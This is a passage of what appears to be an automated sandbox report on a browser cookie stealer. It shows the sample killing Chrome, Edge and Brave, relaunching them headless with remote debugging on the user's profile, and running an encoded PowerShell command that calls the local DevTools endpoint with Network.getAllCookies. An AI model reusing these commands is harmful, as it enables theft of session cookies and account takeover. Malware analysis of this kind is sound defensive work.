IABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABkAGUAYwBLAGUAeQApAA==
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:3220
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe 2>nul"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4872
          • C:\Windows\system32\taskkill.exe
            taskkill /F /IM chrome.exe
            3⤵
            • Kills process with taskkill
            PID:1724
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe 2>nul"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1148
          • C:\Windows\system32\taskkill.exe
            taskkill /F /IM msedge.exe
            3⤵
            • Kills process with taskkill
            PID:4832
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM brave.exe 2>nul"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:6104
          • C:\Windows\system32\taskkill.exe
            taskkill /F /IM brave.exe
            3⤵
            • Kills process with taskkill
            PID:5244
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9882 "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --profile-directory=Default --headless=new --no-first-run --disable-sync --no-default-browser-check --disable-extensions --disable-background-networking --disable-default-apps --no-sandbox --disable-gpu
          2⤵
          • Uses browser remote debugging
          • Enumerates system info in registry
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:1320
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0x108,0x138,0x7ffcaed0c728,0x7ffcaed0c734,0x7ffcaed0c740
            3⤵
              PID:2424
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --headless=new --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1796,i,11777251276919636774,368692064585681114,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=1792 /prefetch:2
              3⤵
                PID:384
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1796,i,11777251276919636774,368692064585681114,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2296 /prefetch:11
                3⤵
                • System Time Discovery
                PID:2820
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1796,i,11777251276919636774,368692064585681114,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2320 /prefetch:13
                3⤵
                  PID:5528
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9882 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=1796,i,11777251276919636774,368692064585681114,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2840 /prefetch:1
                  3⤵
                  • Uses browser remote debugging
                  PID:2896
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9882 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=1796,i,11777251276919636774,368692064585681114,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2848 /prefetch:1
                  3⤵
                  • Uses browser remote debugging
                  PID:5616
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9882 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=1796,i,11777251276919636774,368692064585681114,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3832 /prefetch:1
                  3⤵
                  • Uses browser remote debugging
                  PID:3968
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1796,i,11777251276919636774,368692064585681114,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4636 /prefetch:14
                  3⤵
                    PID:5404
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9974 "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --profile-directory=Default --headless=new --no-first-run --disable-sync --no-default-browser-check --disable-extensions --disable-background-networking --disable-default-apps --no-sandbox --disable-gpu
                  2⤵
                  • Uses browser remote debugging
                  • Enumerates system info in registry
                  • Modifies data under HKEY_USERS
                  • Modifies registry class
                  • Suspicious use of FindShellTrayWindow
                  • Suspicious use of WriteProcessMemory
                  PID:4116
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x254,0x258,0x25c,0x250,0x31c,0x7ffca73dc188,0x7ffca73dc194,0x7ffca73dc1a0
                    3⤵
                      PID:5236
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --headless=new --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --field-trial-handle=2536,i,6002518658304930503,6149315558076249587,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2532 /prefetch:2
                      3⤵
                        PID:5808
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2536,i,6002518658304930503,6149315558076249587,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2960 /prefetch:11
                        3⤵
                        • Badlisted process makes network request
                        • System Time Discovery
                        PID:4632
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2536,i,6002518658304930503,6149315558076249587,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2940 /prefetch:13
                        3⤵
                          PID:2024
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9974 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=2536,i,6002518658304930503,6149315558076249587,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3360 /prefetch:1
                          3⤵
                          • Uses browser remote debugging
                          PID:944
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9974 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=2536,i,6002518658304930503,6149315558076249587,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3364 /prefetch:1
                          3⤵
                          • Uses browser remote debugging
                          PID:1408
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9974 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --field-trial-handle=2536,i,6002518658304930503,6149315558076249587,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3756 /prefetch:1
                          3⤵
                          • Uses browser remote debugging
                          PID:1144
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9974 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --field-trial-handle=2536,i,6002518658304930503,6149315558076249587,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3768 /prefetch:9
                          3⤵
                          • Uses browser remote debugging
                          PID:5716
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2536,i,6002518658304930503,6149315558076249587,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4784 /prefetch:14
                          3⤵
                            PID:2348
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --no-sandbox --onnx-enabled-for-ee --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2536,i,6002518658304930503,6149315558076249587,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4832 /prefetch:14
                            3⤵
                              PID:3048
                            • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2536,i,6002518658304930503,6149315558076249587,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5204 /prefetch:14
                              3⤵
                                PID:4936
                              • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2536,i,6002518658304930503,6149315558076249587,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5204 /prefetch:14
                                3⤵
                                  PID:2452
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoACgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoAJABjAG8AbgBuAGUAYwB0AGUAZAAgAD0AIAAkAGYAYQBsAHMAZQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAxADUAOwAgACQAaQArACsAKQAgAHsACgAgACAAIAAgAHQAcgB5ACAAewAKACAAIAAgACAAIAAgACAAIAAkAHAAYQBnAGUAcwAgAD0AIABJAG4AdgBvAGsAZQAtAFIAZQBzAHQATQBlAHQAaABvAGQAIAAiAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgA5ADgAOAAyAC8AagBzAG8AbgAiACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMQAKACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAcABhAGcAZQBzACkAIAB7ACAAJABjAG8AbgBuAGUAYwB0AGUAZAAgAD0AIAAkAHQAcgB1AGUAOwAgAGIAcgBlAGEAawAgAH0ACgAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBNAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAgADEAMAAwACAAfQAKAH0ACgBpAGYAIAAoAC0AbgBvAHQAIAAkAGMAbwBuAG4AZQBjAHQAZQBkACkAIAB7ACAAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAnAHsAIgByAGUAcwB1AGwAdAAiADoAewAiAGMAbwBvAGsAaQBlAHMAIgA6AFsAXQB9ACwAIgBlAHIAcgBvAHIAIgA6ACIAcABvAHIAdAAgAG4AbwB0ACAAbwBwAGUAbgAiAH0AJwA7ACAAZQB4AGkAdAAgAH0ACgB0AHIAeQAgAHsACgAgACAAIAAgACQAcABhAGcAZQAgAD0AIAAkAHAAYQBnAGUAcwAgAHwAIABXAGgAZQByAGUALQBPAGIAagBlAGMAdAAgAHsAIAAkAF8ALgB0AHkAcABlACAALQBlAHEAIAAnAHAAYQBnAGUAJwAgAH0AIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAAMQAKACAAIAAgACAAaQBmACAAKAAkAHAAYQBnAGUAKQAgAHsAIAAkAHcAcwBfAHUAcgBsACAAPQAgACQAcABhAGcAZQAuAHcAZQBiAFMAbwBjAGsAZQB0AEQAZQBiAHUAZwBnAGUAcgBVAHIAbAAgAH0ACgAgACAAIAAgAGUAbABzAGUAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAdgBlAHIAIAA9ACAASQBuAHYAbwBrAGUALQBSAGUAcwB0AE0AZQB0AGgAbwBkACAAIgBoAHQAdABwADoALwAvADEAMgA3AC4AMAAuADAALgAxADoAOQA4ADgAMgAvAGoAcwBvAG4ALwB2AGUAcgBzAGkAbwBuACIAIAAtAFQAaQBtAGUAbwB1AHQAUwBlAGMAIAA1AAoAIAAgACAAIAAgACAAIAAgACQAdwBzAF8AdQByAGwAIAA9ACAAJAB2AGUAcgAuAHcAZQBiAFMAbwBjAGsAZQB0AEQAZQBiAHUAZwBnAGUAcgBVAHIAbAAKACAAIAAgACAAfQAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAJAB3AHMAXwB1AHIAbAApACAAewAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJwB7ACIAcgBlAHMAdQBsAHQAIgA6AHsAIgBjAG8AbwBrAGkAZQBzACIAOgBbAF0AfQAsACIAZQByAHIAbwByACIAOgAiAG4AbwAgAHcAcwAgAHUAcgBsACIAfQAnADsAIABlAHgAaQB0ACAAfQAKAAoAIAAgACAAIAAkAHcAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFMAbwBjAGsAZQB0AHMALgBDAGwAaQBlAG4AdABXAGUAYgBTAG8AYwBrAGUAdAAKACAAIAAgACAAJABjAHQAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBUAGgAcgBlAGEAZABpAG4AZwAuAEMAYQBuAGMAZQBsAGwAYQB0AGkAbwBuAFQAbwBrAGUAbgBTAG8AdQByAGMAZQAKACAAIAAgACAAJABjAHQAcwAuAEMAYQBuAGMAZQBsAEEAZgB0AGUAcgAoADEAMAAwADAAMAApAAoAIAAgACAAIAAkAHcAcwAuAEMAbwBuAG4AZQBjAHQAQQBzAHkAbgBjACgAWwBVAHIAaQBdACQAdwBzAF8AdQByAGwALAAgACQAYwB0AHMALgBUAG8AawBlAG4AKQAuAFcAYQBpAHQAKAApAAoACgAgACAAIAAgACMAIABGAHUAbgBjAHQAaQBvAG4AIAB0AG8AIAByAGUAYQBkACAAYQAgAHMAaQBuAGcAbABlACAAYwBvAG0AcABsAGUAdABlACAAVwBlAGIAUwBvAGMAawBlAHQAIAB0AGUAeAB0ACAAbQBlAHMAcwBhAGcAZQAKACAAIAAgACAAZgB1AG4AYwB0AGkAbwBuACAAUgBlAGEAZAAtAE0AZQBzAHMAYQBnAGUAKAAkAHcALAAgACQAYwApACAAewAKACAAIAAgACAAIAAgACAAIAAkAG0AcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKACAAIAAgACAAIAAgACAAIAAkAGIAdQBmACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADYANQA1ADMANgAKACAAIAAgACAAIAAgACAAIAAkAHMAZQBnACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEEAcgByAGEAeQBTAGUAZwBtAGUAbgB0AFsAYgB5AHQAZQBdACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgALAAkAGIAdQBmACkACgAgACAAIAAgACAAIAAgACAAdwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHIAZQBzACAAPQAgACQAdwAuAFIAZQBjAGUAaQB2AGUAQQBzAHkAbgBjACgAJABzAGUAZwAsACAAJABjAC4AVABvAGsAZQBuACkALgBSAGUAcwB1AGwAdAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbQBzAC4AVwByAGkAdABlACgAJABiAHUAZgAsACAAMAAsACAAJAByAGUAcwAuAEMAbwB1AG4AdAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHIAZQBzAC4ARQBuAGQATwBmAE0AZQBzAHMAYQBnAGUAKQAgAHsAIABiAHIAZQBhAGsAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABtAHMALgBUAG8AQQByAHIAYQB5ACgAKQApAAoAIAAgACAAIAB9AAoACgAgACAAIAAgACMAIABFAG4AYQBiAGwAZQAgAE4AZQB0AHcAbwByAGsACgAgACAAIAAgACQAYwBtAGQAMQAgAD0AIAAnAHsAIgBpAGQAIgA6ADEALAAiAG0AZQB0AGgAbwBkACIAOgAiAE4AZQB0AHcAbwByAGsALgBlAG4AYQBiAGwAZQAiAH0AJwAKACAAIAAgACAAJABiAHkAdABlAHMAMQAgAD0AIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYwBtAGQAMQApAAoAIAAgACAAIAAkAHMAZQBnADEAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AQQByAHIAYQB5AFMAZQBnAG0AZQBuAHQAWwBiAHkAdABlAF0AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAKAAsACQAYgB5AHQAZQBzADEAKQAKACAAIAAgACAAJAB3AHMALgBTAGUAbgBkAEEAcwB5AG4AYwAoACQAcwBlAGcAMQAsACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUwBvAGMAawBlAHQAcwAuAFcAZQBiAFMAbwBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAVAB5AHAAZQBdADoAOgBUAGUAeAB0ACwAIAAkAHQAcgB1AGUALAAgACQAYwB0AHMALgBUAG8AawBlAG4AKQAuAFcAYQBpAHQAKAApAAoACgAgACAAIAAgACMAIABSAGUAYQBkACAAdABoAGUAIAByAGUAcwBwAG8AbgBzAGUAIAB0AG8AIABOAGUAdAB3AG8AcgBrAC4AZQBuAGEAYgBsAGUAIABhAG4AZAAgAGQAaQBzAGMAYQByAGQAIABpAHQACgAgACAAIAAgACQAbgB1AGwAbAAgAD0AIABSAGUAYQBkAC0ATQBlAHMAcwBhAGcAZQAgACQAdwBzACAAJABjAHQAcwAKAAoAIAAgACAAIAAjACAARwBlAHQAIABhAGwAbAAgAGMAbwBvAGsAaQBlAHMACgAgACAAIAAgACQAYwBtAGQAMgAgAD0AIAAnAHsAIgBpAGQAIgA6ADIALAAiAG0AZQB0AGgAbwBkACIAOgAiAE4AZQB0AHcAbwByAGsALgBnAGUAdABBAGwAbABDAG8AbwBrAGkAZQBzACIAfQAnAAoAIAAgACAAIAAkAGIAeQB0AGUAcwAyACAAPQAgAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAQgB5AHQAZQBzACgAJABjAG0AZAAyACkACgAgACAAIAAgACQAcwBlAGcAMgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBBAHIAcgBhAHkAUwBlAGcAbQBlAG4AdABbAGIAeQB0AGUAXQAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAoACwAJABiAHkAdABlAHMAMgApAAoAIAAgACAAIAAkAHcAcwAuAFMAZQBuAGQAQQBzAHkAbgBjACgAJABzAGUAZwAyACwAIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBTAG8AYwBrAGUAdABzAC4AVwBlAGIAUwBvAGMAawBlAHQATQBlAHMAcwBhAGcAZQBUAHkAcABlAF0AOgA6AFQAZQB4AHQALAAgACQAdAByAHUAZQAsACAAJABjAHQAcwAuAFQAbwBrAGUAbgApAC4AVwBhAGkAdAAoACkACgAKACAAIAAgACAAIwAgAFIAZQBhAGQAIAB0AGgAZQAgAHIAZQBzAHAAbwBuAHMAZQAgAHQAbwAgAE4AZQB0AHcAbwByAGsALgBnAGUAdABBAGwAbABDAG8AbwBrAGkAZQBzAAoAIAAgACAAIAAkAGoAcwBvAG4AIAA9ACAAUgBlAGEAZAAtAE0AZQBzAHMAYQBnAGUAIAAkAHcAcwAgACQAYwB0AHMACgAgACAAIAAgAHQAcgB5ACAAewAgACQAdwBzAC4AQwBsAG8AcwBlAEEAcwB5AG4AYwAoAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFMAbwBjAGsAZQB0AHMALgBXAGUAYgBTAG8AYwBrAGUAdABDAGwAbwBzAGUAUwB0AGEAdAB1AHMAXQA6ADoATgBvAHIAbQBhAGwAQwBsAG8AcwB1AHIAZQAsACAAJwAnACwAIAAkAGMAdABzAC4AVABvAGsAZQBuACkALgBXAGEAaQB0ACgAKQAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABqAHMAbwBuAAoAfQAgAGMAYQB0AGMAaAAgAHsACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAKAAnAHsAIgByAGUAcwB1AGwAdAAiADoAewAiAGMAbwBvAGsAaQBlAHMAIgA6AFsAXQB9ACwAIgBlAHIAcgBvAHIAIgA6ACIAJwAgACsAIAAkAF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUAIAArACAAJwAiAH0AJwApAAoAfQA="
                                2⤵
                                • Suspicious use of WriteProcessMemory
                                PID:1752
                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
